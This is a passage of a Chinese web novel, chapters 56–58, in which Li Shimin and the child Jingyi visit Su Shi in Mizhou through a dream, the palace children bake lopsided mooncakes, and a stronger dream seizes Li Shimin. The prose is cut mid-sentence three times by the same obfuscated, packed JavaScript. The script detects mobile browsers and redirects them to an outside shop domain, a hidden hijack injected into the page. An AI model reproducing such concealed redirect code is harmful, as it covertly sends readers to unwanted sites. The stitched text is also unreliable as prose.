正疑惑间,忽听前方传来一阵爽朗的笑声,夹杂着百姓亲切的招呼声。 “苏知州!今日又来巡街了?” “知州,家里新做了些炊饼,您尝尝!” “明府,前日那纠纷,多亏您断得公道!” 只见一个身着青色官袍、外罩旧貂裘、颌下已蓄起整齐长须的中年官员,正被几个百姓围着说话。他面容比记忆中清瘦了些,眼角也有了细纹,但眉宇间那股洒脱豁达之气依旧,笑容温暖真诚,正是苏轼! 他似乎刚处理完一桩事务,挥手与百姓告别,一转身,目光便与街边的李世民和景颐对了个正着。 苏轼先是一愣,随即眼睛猛地睁大,脸上露出难以置信的惊喜,大步流星地走了过来,声音洪亮依旧:“李兄?!景颐小友?!真是你们?!这、这……一别多年,苏某还以为此生再难相见了!” 他激动地上下打量着二人,目光尤其在景颐身上停留许久,然后,眼中的惊喜慢慢被一种深深的惊讶和……怜悯取代。 他蹲下身,与景颐平视,伸手比了比景颐的身高,又看看他依旧稚气的脸庞,眉头紧紧皱起,声音里充满了痛惜:“小景颐,你……你这身子,怎么……这么多年过去,怎的似乎……没怎么长高?可是……得了什么病症?还是家中遭遇了变故,营养不良?” 他越想越觉得是,看向李世民的目光也带上了询问与不赞同,仿佛在责怪他没有照顾好孩子。 “李兄,孩子这般……你该早早寻名医诊治才是!若是银钱不便,苏某虽不宽裕,也能……” 李世民看着苏轼蓄起的胡须、眼角的风霜,又听他所言,心中了然,距上次汴京一别,只怕已过去了十几年。而景颐……在他的视角中,似乎一直是这般孩童模样。 他强忍着笑意,轻咳一声,解释道:“苏贤弟误会了,颐儿他……体质特殊,生长是比旁人慢些,但身子骨无碍,也请名医看过,只是天生如此,并非病症,亦非照料不周。” 他含糊地带过,总不能说梦中十年,梦外一年嘛。 苏轼将信将疑,但看景颐面色红润,眼神灵动,确实不似久病羸弱之态,又听李世民这么说,才稍稍放心,但那份心疼依旧。 “原来如此……世间之大,无奇不有只是苦了孩子。” 他站起身,又恢复了爽朗,一拍大腿,“既然来了密州,便是苏某的地盘!走,今日定要带你们好好逛逛,尝尝我们密州的特色!定要把小景颐补得壮壮的!” 56.第 56 章 景颐听到好吃的,立刻把对苏叔叔一脸心疼的疑惑抛到脑后,眼睛亮晶晶地点头:“谢谢苏叔叔!” 苏轼兴致勃勃,带着二人在密州城中穿行。他如数家珍地介绍着本地的风物,与沿途的商贩、农夫、小吏亲切地打着招呼,看得出他这位知州颇得民心。虽然密州比不得汴京繁华,甚至显得有些贫瘠,但年节的气氛和百姓对苏轼的爱戴,让这座城市充满了质朴的活力。 他们尝了刚出炉的、硬邦邦却麦香十足的锅盔,喝了滚烫的羊杂汤,苏轼还特意给景颐买了一小包珍贵的、甜滋滋的柿饼。 景颐吃得开心,虽然觉得不如宫里的点心精致,但别有一番风味。李世民则更多地观察着此地民生,看到百姓虽不富裕,但精神面貌尚可,对苏轼治理地方的能力暗自点头。 天色渐晚,苏轼将他们带回了自己的官舍。屋舍简朴,甚至有些清冷,但书卷气十足。他招呼老仆煮上茶,自己则从柜中翻出一小罐珍藏的、看起来品相并不算顶好的茶叶。 “密州僻远,没什么好茶,这是友人从南边捎来的白云茶,勉强可饮,李兄莫要嫌弃。” 苏轼笑道,亲自烹水点茶,动作娴熟。茶香袅袅升起,带着山野的清苦气,渐渐弥散在有些寒意的屋子里。 李世民目光扫过临窗的书案,上面摊着几张墨迹未干的纸。他起身走近,只见上面墨迹淋漓,是一首词: “老夫聊发少年狂,左牵黄,右擎苍,锦帽貂裘,千骑卷平冈。为报倾城随太守,亲射虎,看孙郎。 酒酣胸胆尚开张,鬓微霜,又何妨!持节云中,何日遣冯唐?会挽雕弓如满月,西北望,射天狼。” 笔力雄健,气势豪迈,一股老当益壮、欲驰骋沙场、报效国家的慷慨之气扑面而来。下方有小字题注:《江城子·密州出猎》。 “好!好一个‘会挽雕弓如满月,西北望,射天狼’!” 李世民忍不住击节赞叹,“苏贤弟虽处江湖之远,而忧国之心、报国之志,丝毫不减,更有凌云之气!此词雄健,实乃绝唱!” 苏轼见李世民欣赏,也不谦虚,哈哈一笑,颇有些自得:“李兄法眼!此乃前日与同僚出猎归来,一时兴起所作。身处边郡,见民生多艰,外患未平,常感郁愤。唯有寄情词章,略抒胸臆罢了。” 他说着,又从案头一叠旧稿中翻出几页, “李兄再看这几首,《白云茶》写山中闲趣,《浮云岭》记行旅所见,虽不及出猎词豪壮,亦是我在地方所见所感。” 李世民接过,细细品读。这些诗作或清新自然,或沉郁感慨,无不真情流露,与他在汴京初遇时那个飞扬跳脱的才子相比,多了几分沉淀与对民间疾苦的体察,但那份天生的豁达与对生活的热爱,依旧充盈在字里行间。 “诗以言志,文以载道。苏贤弟之诗词,有豪情,有悲悯,有逸趣,更难得是一片赤子真心,未曾被宦海沉浮完全磨去。” 李世民由衷赞道,“此等心胸笔墨,必当流传后世。” 苏轼被夸得有些不好意思,挠挠头,笑道:“李兄过誉了,文章小道,于国于民,未必有补,只是性子如此,有感便发罢了。倒是李兄,观你气度见识,绝非寻常。这些年,想必也别有际遇?” 李世民微微一笑,避重就轻:“不过是带着稚子,四处游历,增广见闻罢了。倒是今日得见贤弟,风采更胜往昔,诗词愈发精进,心中甚慰。” 苏轼闻言,也不深究,他本就是个随性之人,见故人安好便已欣喜。他目光一转,落到正小口啜饮茶汤、眼睛却滴溜溜好奇打量屋中陈设的景颐身上,玩心大起。 “对了,景颐小友,”苏轼放下茶杯,笑眯眯地凑近,“上次汴京一别,你尚能接曹公《短歌行》,可见记性悟性都是极佳的。这些年过去,学问可有长进?让苏叔叔考考你,如何?” 景颐一听,立刻挺直了小腰板,虽然心里有点打鼓,但输人不输阵,尤其在喜欢的苏叔叔面前。他放下茶杯,努力摆出认真的小脸:“苏叔叔你问!颐儿……尽力答!” “好!”苏轼抚掌,“不考艰深的,就考你最简单的对子。我说上联,你对下联,如何?” “嗯!”景颐点头,眼睛里满是专注。 苏轼略一思索,看了看窗外将尽的夜色,道:“上联是——冬夜客来茶当酒。” 这上联平实却有意境。景颐眨巴着眼,努力回想在凝云轩和弘文馆听来的只言片语,又看看屋内跳跃的灯火,和苏轼叔叔脸上温暖的笑容,忽然福至心灵,脱口而出:“灯下笑谈话家常!” 李世民眼中露出一丝讶异和赞许。这应对虽显稚嫩,对仗也不算工整,但意境上竟莫名契合此刻温馨的场景,带着孩童特有的质朴与暖意。 苏轼先是一愣,随即朗声大笑,连连拍案:“妙!妙啊!虽不合乎严格对仗,但这份灵性,这份应景的真情,远胜那些死板工巧之对!好一个灯下笑谈话家常!小景颐,你有诗心!” 景颐被夸得有点不好意思,小脸微红,但眼睛亮得像星星。 “看来是块璞玉!”苏轼兴致更高了,他起身走到书案边,铺开一张纸,研磨提笔,“来,苏叔叔教你写诗!不拘格律,先把你刚才对的这句记下来,我再帮你补成一首小诗,算是我们叔侄重逢的纪念,如何?” “好呀好呀!”景颐立刻跑到书案旁,踮着脚看。 苏轼笔走龙蛇,先写下刚才对的对子。然后略一沉吟,续道:“此间何所有?明月照松岗。” 他写完,指着后面两句对景颐解释:“明月松岗,是密州常见的景致,清冷高洁,正好衬托我们屋内谈话的温暖。诗不必长,意思到了便可。你看,这就成了一首五言绝句了。” 景颐看着纸上墨迹淋漓的字句,虽然不太懂,但听苏轼一念,觉得好听又好看,心里美滋滋的,仿佛这诗真是自己作的一般。“谢谢苏叔叔!颐儿喜欢!” “喜欢便好!”苏轼也很高兴,他收好这幅即兴之作,又坐回火盆边,给二人的茶杯续 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17291031|195893||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上水。温暖的茶香与炭火气让人放松,他望着跳跃的火苗,忽然轻轻叹了口气,语气里带上一丝不易察觉的怅惘。 “李兄,景颐,”他开口道,“说来,方才见你们,倒让我想起一位汴京故人,只是……不知他如今怎样了。” “哦?不知贤弟所言是哪位故人?”李世民问。 “便是王介甫,王公。”苏轼缓缓道,神色复杂,“当年在汴京,我与他政见多有不合,也曾激烈争辩,甚至……针锋相对。他性子执拗,我亦年轻气盛。可如今,离了中枢,来到地方,亲见民生多艰,推行政令之难,再回想当年他力主变法的那份孤勇与执著……心中滋味,实难言说。” 他顿了顿,喝了口茶,仿佛要压下胸中翻涌的情绪:“听闻去岁北方大旱,流民无数,郑侠献《流民图》直指新法,圣心震动。王公他……也因此罢相,出知江宁府了。变法之事,只怕……唉。” 月光透过窗纸,映在苏轼脸上,明暗不定。此刻的他,不再是那个写下“会挽雕弓如满月”的豪迈知州,也不是初遇时请他们吃糖葫芦的洒脱才子,而是一个经历了官场起伏、对世事有了更深体悟、对昔日对手生出复杂感慨的中年人。 那感慨里有物伤其类的悲悯,有对理想折戟的叹息,或许,还有一丝未能并肩作战、反而互为阻力的淡淡遗憾? 李世民静静听着,心中了然。原来月下独酌那位孤独的改革者,便是王安石,难怪那般郁愤孤直。 而苏轼此刻的感慨,也让他对那位拗相公有了更立体的认知。这两人,一执著于法度革新,一钟情于自然人情,道路不同,却都是这个时代最顶尖的头脑与灵魂,都在用自己的方式,爱着这个国家,忧着这片土地上的百姓。 “道不同,未必不能相惜。”李世民缓缓道,想起了月下王安石那双布满血丝却依旧明亮的眼睛,“王公之心,可昭日月,其法之利弊,自有后人评说。然其人以一身担天下之谤,力行其道,此等风骨,便值得一敬。至于贤弟你,如今牧守一方,务实爱民,亦是在行脚下之路。路虽异,心可同。” 苏轼闻言,浑身一震,抬头看向李世民,眼中似有光芒闪动。他沉默良久,最终重重叹了口气,又释然般笑了笑:“李兄此言,如醍醐灌顶。是啊,路虽异,心可同。介甫兄他……不易,只望他在江宁,能稍得安闲,保重身体吧。” 他举起茶杯,“来,以茶代酒,敬仍在路上的人,也敬……这难得的重逢。” 李世民亦举杯。景颐虽然不太懂但他也双手捧起自己的小茶杯,学着大人的样子:“敬苏叔叔!敬……那位黑脸叔叔!” 他记得月下那位叔叔脸色挺黑的。 苏轼和李世民闻言,先是一愣,随即相视大笑,那点沉郁的气氛瞬间被孩童的天真驱散。 “好!敬我们的小景颐!”苏轼笑着与景颐碰了碰杯。 窗外,密州的夜色更加深沉。明月朗照,梦,渐渐在这片温暖与慨叹交织的气息中,变得朦胧。 57.第 57 章 自密州梦境归来,凝云轩的日子似乎并无不同。 景颐依旧上午被长琴提溜着,跟在认真描红的李治旁边,心不在焉地画着他的麒麟体大字,下午则瞅准机会,拉着李治哒哒哒地往弘文馆跑,美其名曰向兄长们请教学问,实则是去听新鲜事、混点心吃。 长孙冲和唐善识等人也习惯了这两个小尾巴,常给他们讲些书外的趣闻,或是考校些简单问题,倒也其乐融融。 然而,两仪殿的气氛却与凝云轩的轻松截然不同。大理丞张蕴古因处置一桩案件,被权贵抓住把柄,攻讦其阿纵罪人,且有漏泄禁中语之嫌,朝中舆论汹汹。李世民初闻极为震怒,认为张蕴古身为法官,徇私枉法,又泄禁中语,罪不可赦,盛怒之下未及细查,便下诏将其处斩。 可人死之后,冷静下来,李世民再命人详查此案,却发现其中多有蹊跷,张蕴古所为虽有失当,却远不至死,更无漏泄禁中语的确凿证据。那所谓的阿纵,细究起来,竟是他自己先前曾对张蕴古有过相关指示,只是口谕模糊,张蕴古领会偏差所致。 真相大白,李世民如遭雷击。他独自在殿中坐了许久,殿内未曾点灯,暮色一点点吞噬了帝王的身影。他想起张蕴古平素勤勉,并非奸恶之徒,想起自己盛怒之下的失察与武断,更想起那日梦中,王安石月下独酌时眼中那种被误解、被攻讦、理想受挫的巨大孤愤与无力…… 自己如今,不也因一时之怒,险些成了那谤与非的一部分么?甚至,已铸成大错。 那份沉甸甸的自责与低落,如影随形,一连数日,他处理政务时都显得有些沉默,批复奏章时下笔格外凝重,连去立政殿用膳的次数都少了。 长孙皇后心细如发,察觉丈夫情绪有异,私下询问王德,略知缘由,心中亦感沉重。她只能更加温柔体贴,命尚食局多备些清爽可口的菜肴,又常让丽质带着弟妹们去两仪殿请安,试图用天伦之乐稍稍驱散他心头的阴霾。 朝堂的阴云并未飘进凝云轩孩子们的小天地,但景颐敏锐地察觉到李叔叔近日的沉默与眉宇间的沉郁。他想起梦里那些关于团圆节和圆饼的模糊片段,又想起苏叔叔说过,好吃的能让人心情好,一个大胆的念头在他心里发了芽。 “我们要做一种饼!”这日,他郑重其事地对丽质、豫章和李治宣布,“圆圆的,像月亮,里面包甜甜的或者香香的东西,中秋节吃,大家分了,就叫月饼!我们自己做,送给李叔叔和大姐姐,还有师父、兄长们,他们吃了开心,李叔叔就不会不高兴了!” “月饼?”丽质和豫章面面相觑,从未听过此物。但看景颐描述得煞有介事,又念及近日耶耶确实情绪低落,便也动了意。或许尚食局有类似的糕点,只是叫法不同?自己动手为长辈准备节礼,总是好的。 “可我们不会做呀。”李治挠头。 “试试嘛!”景颐信心满满,“我们问尚食局要面粉、糖、油!再要红豆煮烂加糖做豆沙!还要……嗯,核桃、芝麻弄碎,应该也会香!我们自己做馅儿!” 这个计划听起来复杂得多,也更具挑战性。丽质和豫章商议后,觉得在嬷嬷严密看管下,不动明火,只和面、调馅、包制,最后交由尚食局的师傅烤制,应该可行。 她们禀报了娘娘,长孙皇后同样被孩子们的孝心打动,特意吩咐尚食局拨出一间小膳房,并派了两位经验丰富的点心嬷嬷何氏、陈氏全程监护。 中秋前一日,小小的膳房变成了战场,空气中弥漫着面粉的微尘和隐隐的甜香。 第一步是和面。景颐和李治抢着倒面粉,结果“噗”一声,白烟弥漫,两人顿时成了白面人,呛得直咳嗽。何嬷嬷哭笑不得,赶紧接手,指点丽质和豫章如何徐徐加水,慢慢揉搓。 然而理想是光滑面团,现实是……丽质揉得手腕发酸,豫章细心调整,出来的面团仍旧有些发硬,或者过于湿黏。勉强分成剂子,已是成果斐然。 第二步是备馅。红豆沙是尚食局现成的,细腻甜润。景颐坚持要加香香的东西,于是核桃、芝麻被拿来,由宫女用石臼小心捣碎,与糖、少量猪油混合,就成了简易的两仁馅。 景颐还偷偷剥了几颗咸鸭蛋,把油亮亮的蛋黄挖出来,想学梦里的咸蛋黄月饼,被陈嬷嬷紧急制止,咸甜混搭,此时闻所未闻,且易腐坏。景颐只好遗憾作罢,把咸蛋黄自己吃了。 最混乱的是包制环节。嬷嬷示范:面剂按扁,放馅,虎口收拢,搓圆。看着简单,做起来全凭手感。 景颐不是馅放太多包不住,就是一用力把面皮撑破,露着黑乎乎的芝麻核桃馅,像个咧嘴傻笑的怪脸。李治的月饼则大小不一,收口处厚厚一疙瘩。丽质和豫章做得最好,能包出大致圆形,但厚薄也不均匀。 孩子们还试图用模子印花。尚食局没有相应的模子,只找来几个做糕点的莲花、如意小木模。景颐兴冲冲地把包好的面团按进去,结果不是粘住取不出来,就是压得太扁,馅都挤到边缘。最后大部分月饼还是光秃秃的圆球,只有少数几个能勉强看出莲花轮廓。 忙乱了一下午,成果是两大盘奇形怪状、大小不一的生月饼胚。有的露馅,有的开裂,有的扁如柿饼,有的圆如汤团。陈嬷嬷看着直摇头,委婉表示这些饼烤出来,恐怕口感……欠佳。但孩子们看着自己的杰作,个个眼睛发亮,成就感爆棚。 “没关系!样子丑,肯定甜!李叔叔不会嫌弃的!”景颐笃定道。 生胚被小心送入尚食局的大烤炉,由专业师傅掌握火候。等待的时间里,孩子们坐立不安,时不时跑去膳房外闻味道。终于,混合着焦香、面香、芝麻核桃香的气味飘了出来。 出炉的月饼,颜色深浅不一,有的边缘微焦,有的表面鼓起小泡,形状更是千奇百怪,与尚食局同时烤制的、供宫宴使用的精致点心摆在一起,堪称惨烈对比。但孩子们欢呼着围上去,觉得它们金灿灿、香喷喷,是天下第一好看的点心。 中秋夜,家宴设在临水敞轩。祭月仪式后,案上摆满时令鲜果、新酒佳肴,尚食局精制的点心也琳琅满目。但景颐和雉奴神秘兮兮地捧出一个食盒,献宝似的放到李世民和长孙皇后面前。 “李叔叔,大姐姐!这是我们自己做的月饼!中秋节的饼!您快尝尝!吃了保证开心!” 景颐的眼睛亮得惊人,满是期待。 李世民看着食盒里那些形状各异、色泽不均的饼,又看看孩子们。丽质和豫章略带羞涩的笑,李治紧张的抿嘴,景颐则是毫不掩饰的、等着被夸奖的雀跃。他心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17295810|195893||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 中微软,连日朝务烦忧带来的沉郁,被这份笨拙却真挚的心意冲淡了不少。 “哦?我的孩子们竟有如此巧思?月饼?好名字,应景。” 他笑着,率先拿起一块看起来相对完整、标着勉强能看出是莲花印记的,入手颇沉。在孩子们热切的注视下,他咬了一口。 下一刻,李世民的表情几不可察地僵了一瞬。这月饼外皮因火候和揉面问题,有些硬实,内里的豆沙和坚果馅料倒是香甜,但混合在一起,加上可能糖油比例不当,口感……颇为扎实厚重,且甜得发腻,几乎难以下咽。 他努力咀嚼了几下,强忍着没有失态,迅速拿起酒杯喝了一口新酒,才将那口饼送下去。 “如何?李叔叔,好吃吗?”景颐迫不及待地问。 “……嗯,别有风味。”李世民尽量让语气听起来真诚,他看着孩子们亮晶晶的眼睛,实在不忍打击,“心意最是难得,丽质、豫章、雉奴、景颐,你们有心了。” 长孙皇后也尝了一小块,同样被那扎实甜腻的口感惊到,但她涵养极好,微笑着点头:“果然新奇,甜在嘴里,暖在心里。” 她悄悄示意宫女,将剩下的月饼分切得极小,分给在座的李承乾、李泰等人品尝。 李承乾和李泰接到那小块月饼,看着父皇和母后勉强的笑容,又看看弟妹们期盼的眼神,只得硬着头皮吃下,个个表情微妙,还得努力夸赞弟妹手巧、心思别致。 景颐浑然不觉,只觉得大家都喜欢,高兴得小脸放光,自己也拿起一块啃,边啃边含糊地说:“就是有点干……下次我们少放点糖,面再揉软点!” 李世民闻言,差点被酒呛到,连忙道:“呃……一次便好,一次便好。你们辛苦,下次让尚食局做便是。” 他实在不敢想象还有下次。 尽管月饼口感一言难尽,但孩子们这份为了让他开心而忙活、而期待的心意,却像一股温热的泉水,缓缓淌过李世民因张蕴古案而滞涩的心田。 他看着孩子们因为成功而兴奋的笑脸,看着观音婢温柔的目光,感受着家宴上其乐融融的氛围,心头那块巨石,似乎松动了许多。 宴后赏月,李世民与长琴漫步至水边僻静处。月华如练,洒在二人身上。 “先生今日也尝了那月饼?”李世民想起方才一幕,不禁莞尔。 长琴神色一僵:“……略尝,孩童赤子之心,可贵。” “是啊,”李世民望着水中圆月倒影,轻叹一声,“赤子之心,至纯至诚。可这世间裁决,有时却因一时之怒、一己之偏,而失了这份纯与慎。张蕴古……是我之过。” 他沉默片刻,声音变得坚定:“法者,国之权衡,时之准绳。权衡得失,可纠偏颇;准绳误用,则伤及无辜。当设制度,明典章,使刑狱之事,多有复核,慎之又慎。怒时不决,疑时从轻。人命关天,容不得半点轻忽武断。” 长琴侧目看向他,月光下帝王的神情肃穆而清明。他没有说什么,只是微微颔首。有些决定,无需多言,心至便可。 远处敞轩传来孩子们的笑语,混合着淡淡的桂花酒香,飘散在澄澈的秋夜空气中。李世民深吸一口气,胸中积郁尽去,只余一片月明般的清明与坚定。他转身,向那灯火温暖、笑语晏晏处走去。 58.第 58 章 中秋过后,长安的秋意一日浓过一日。两仪殿内,烛火通明,李世民批阅完最后一份奏章,揉了揉眉心,看向一旁正在灯下看书的长孙皇后。灯火映着她沉静的侧脸,岁月似乎未曾在上面留下太多痕迹,只添了更多的温婉与从容。 “观音婢,”李世民忽然开口,声音在静谧的殿内显得格外温和,“丽质和豫章的婚事……我想着,或许不必急于一时。” 长孙皇后翻页动作微顿,抬眼望来,眼中带着询问。 李世民起身,踱到窗边,望着窗外沉沉夜色中那一弯下弦月,缓缓道: “中秋那日,看着她们带着弟妹们胡闹,做出那些……嗯,别具一格的点心,我忽然觉得,她们还小,还是绕在父母身边撒娇玩闹的年纪。冲儿和善识固然是好孩子,可一旦定下名分,她们便再难有如今这般无忧无虑的时光了。为人妇,主中馈,相夫教子……担子不轻。” 他转过身,看向妻子:“况且,这一年多来,跟着景颐那孩子,见了些……奇奇怪怪的世事人情,我这心里,有时也会多想一层。姻缘之事,固然讲究门当户对,父母之命,可终究是女儿们自己的终身。让她们多在咱们身边留两年,心性更稳,见识也多些,或许……将来更能明白自己需要什么样的生活,与什么样的良人相守。即便仍是嫁与冲儿、善识,多些青梅竹马的情分,总归是好的。” 长孙皇后静静听着,眼中泛起温柔的笑意。她放下针线,走到李世民身边,轻轻握住他的手:“二哥所虑极是。妾身也舍不得她们。只是原先想着,早些定下,她们心安,兄长和唐公那里也安稳。既然二哥想多留女儿们几年,那便再等一两年也无妨。丽质和豫章明年也才十一,确实不急。待她们及笄前后再议,正是妥当。妾身明日便寻个机会,与兄长和唐公夫人透个意思,他们定能体谅。” “嗯,如此甚好。”李世民反手握住妻子的手,心中那点因犹豫婚事而产生的细微躁动,在她温柔的理解与支持下,悄然平复。 他将目光重新投向窗外深蓝的夜空,心底却隐隐掠过一丝莫名的预感。或许,在女儿们的姻缘最终落定之前,他还会经历一些意想不到的、可能再次改变他某些想法的事情。就像那些突如其来的梦境一样。 凝云轩里,景颐的强制启蒙生涯仍在继续。长琴的要求日益严格,不仅字要认,简单的文章也要开始背诵讲解。景颐叫苦不迭,觉得那些“之乎者也”比爬树捉虫难多了。唯一的慰藉,便是下午可以去弘文馆放风。 秋日的弘文馆,庭院里银杏叶金黄,枫叶赤红,景色宜人。景颐和李治手拉手溜进去时,常能看到学子们在廊下或院中三五成群,或讨论经义,或吟诗作对,也有的在练习射箭、投壶,颇有几分文武兼修的味道。 这日,两人又猫着腰,想从后廊溜进去找唐善识讨点心吃,不料刚探出脑袋,就撞见了正背着手在廊下踱步沉思的陆博士。 “咳!”陆博士重重一咳。 两个小身子瞬间僵住。 “又是你们俩。”陆博士板着脸,但眼中并无多少厉色,反而带着点考较的兴味 “《论语·学而》篇,‘君子务本’之后几句,背来听听。” 李治连忙站直,口齿清晰地背诵:“君子务本,本立而道生。孝弟也者,其为仁之本与!” 陆博士点点头,看向景颐,“‘信近于义’后面呢?” 景颐头皮发麻,他对《论语》比《千字文》还生疏,勉强回忆:“呃……信近于义……言可复也。恭、恭……恭什么来着……” 他卡住了。 “恭近于礼。”陆博士提示。 “哦对!恭近于礼,远耻辱也。因不失其亲,亦可……宗也!”景颐赶紧接上,松了口气。 “嗯,”陆博士不置可否,又问,“‘本立而道生’,此‘本’与‘道’,当作何解?不必拘泥经注,说说你二人见地。” 李治想了想,认真答道:“学生以为,‘本’是根基,如树木之根。对君子而言,孝悌便是做人的根基。根基牢固了,为人处世的道理自然就能生发出来,行事就有了准则。” 陆博士目露赞许,看向景颐。 景颐挠挠头,努力把这话往自己熟悉的东西上套:“嗯……就像师父教我弹琴,得先坐稳了,手放对了,指法练熟了,这些是‘本’。然后才能弹出好听的曲子,弹出心里的感觉,这个就是‘道’?” 他不太确定地看向陆博士。 这个比喻虽不算贴切,却意外地生动形象,陆博士脸色缓和不少:“虽不尽然,亦有可取之处。进去吧,莫要吵闹。” “谢谢先生!”两人如蒙大赦,赶紧溜了进去。 找到唐善识和长孙冲时,他们正在讨论一幅新得的边塞舆图。见景颐和李治来了,唐善识立刻把点心盒子推过来,长孙冲则温和地笑着,给他们指舆图上的山川城池。 “看,这里是陇右,这边是河西走廊……听说陛下有意明年开春,加强对西域商路的护持……”长孙冲低声说着,唐善识则在一旁插科打诨,把枯燥的地理说得有趣些。 景颐吃着点心,听着那些遥远的地名和陌生的词,脑子里却不由自主地想起了梦中的漠北风沙,还有那道模糊的、驰骋的背影。他忽然问:“冲表哥,子文阿兄,你们说,一直往北、往西,走到天边,会是什么样子?” 长孙冲沉吟道:“古籍有载,极北有幽都,晦暗不明;西极有流沙,浩瀚无垠。然皆传闻,未曾亲见,或许便是天地之尽头,混沌未开之处。” 唐善识则笑嘻嘻道:“要我说,天边说不定是神仙住的地方!有仙山楼阁,奇花异草,跟咱们这儿完全不一样!” 神仙住的地方?景颐眨眨眼,很认真地反驳:“神仙不住那里,至少我知道的都没住那么那么远。” 他想起师父的流云境,想起偶尔感应到的、遥远而模糊的某些存在气息, “就算是玄武爷爷,好像也是在北边,但也没到天边呀。天边外面……可能什么都没有,也可能……是另一个完全想不到的样子?” 他这话说得大人似的,把唐善识和长孙冲都逗笑了,只当是孩童天马行空的幻想。 但这个疑问却在景颐心里扎了根。下午回到凝云轩,他练字也静不下心,总想着天边外面。趁长琴暂时离开,他拉起李治:“雉奴,走,我们去找李伯伯问问!” 两人溜到太史局时,李淳风正对着一幅巨大的、画满了星宿和复杂线条的绢布凝神思索,旁边还摆着新改进的浑天仪模型。 “李伯伯!”景颐扒着门框小声喊。 李淳风回头,见是他俩,捋须笑道:“是你这小猢狲,怎的带着晋王殿下跑这儿来了?今日不用习字?” “有件事想请教李伯伯。”景颐拉着李治跑进去,仰着头,把白天的问题又问了一遍,“一直往一个方向走,走到天边,到底有什么呀?是不是神仙住的地方?还是什么都没有?” 李淳风闻言,眼中闪过一丝感兴趣的光芒。他放下手中的炭笔,示意两个孩子到旁边的矮榻上坐下,又让人端来两杯蜜水。 “天边啊……”李淳风望向窗外的天空,此时暮色初临,东方已有一两颗星子隐约可见, “以我们脚下的大地而言,或许并无真正的天边。大地如鸡子,悬浮虚空,四野八极,循环往复。你一直往北,或许会走到极寒之域,冰封万里,一直往西,或遇流沙瀚海,或有高山绝壁。但若你有力气,有法子,一直走下去,或许……最终会回到你出发的地方。” 他用手在空气中画了一个圆。 “回到出发的地方?”李治惊奇地睁大眼睛。 “这只是推测,源于前人所思及对天象的观测。”李淳风温和道,“至于神仙所居……依典籍所载及方家所言,多在名山大川、洞天福地,或九天之上、九地之下,灵秀汇聚、清浊交汇之所,倒未必是寻常的天边。” 他顿了顿,指着绢布上那些星辰:“若说真正的天外,或许在那星河之上,日月所出没的更遥远之处。那里或许有别的大地,别的日月,运行着与我们相似或迥异的道理。只是那里太过遥远,非人力所能及,更非我等所能尽知了。天道浩渺,我们所知,不过沧海一粟。” 别的大地?别的日月?景颐听得似懂非懂,但“遥远”、“非人力所能及”这些词,却莫名地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17304226|195893||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 让他心跳快了几分。他想起那些梦,汴京、密州、汉长安……是不是也算一种别的、迥异的地方? “谢谢李伯伯!”他得到了一个比神仙住的地方更复杂、也似乎更有意思的答案,心满意足,喝光蜜水,拉着李治告别了。 是夜,李世民因日间政务烦劳,心绪不宁,信步来到了凝云轩。长琴正在庭中焚香抚琴,琴音清越,如清泉流石,有涤荡心神之效。李世民便在一旁石凳上坐下,闭目静听,暂将朝务烦忧置于脑后。 景颐和李治早已睡下。或许是白日听了李淳风那番玄奥之语,又或许是最近入梦的冷却期已过,景颐睡得并不踏实。 他在梦中仿佛漂浮在无垠的虚空里,四周是闪烁的、陌生的星子,远处似乎有巨大的、燃烧的太阳在靠近,带来令人窒息的炽热与威压…… 睡在隔壁的景颐无意识地蜷缩起来,小手在空中抓了抓,仿佛想抓住什么。他呢喃着:“好热……好亮……不一样的太阳……” 几乎就在他呓语的同时,凝云轩庭中抚琴的长琴,指尖猛地一划,带出一声尖锐的变徵之音!琴弦竟“嘣”的一声,断了一根! 李世民倏然睁眼。 长琴也停下了动作,清冷的目光望向景颐厢房的方向,眉头微蹙。 下一瞬,一股难以形容的、混合了极致煌煌天威、铁血征伐之气、以及一种近乎狂暴的开拓欲望的炽热洪流,毫无预兆地、以排山倒海之势席卷了整个凝云轩! 空气瞬间变得滚烫粘稠,耳边仿佛有万千金鼓齐鸣、铁骑奔腾的幻听,更有一股沉重如山的帝王霸气,混合着熟悉的、曾在应天府金殿上有过短暂交锋的感觉,死死锁定了这个方位! 这一次的溯梦,远比以往任何一次都更强烈、更霸道、更不容拒绝!仿佛不是牵引,而是……捕获! 李世民只觉眼前一黑,炽热感与沉重的压力瞬间吞没了一切感知。在彻底失去意识的前一瞬,他仿佛听到了长琴一声急促的呼唤,以及某种清凉气息试图笼罩过来的波动,但随即都被那无边的炽热与威严碾碎。 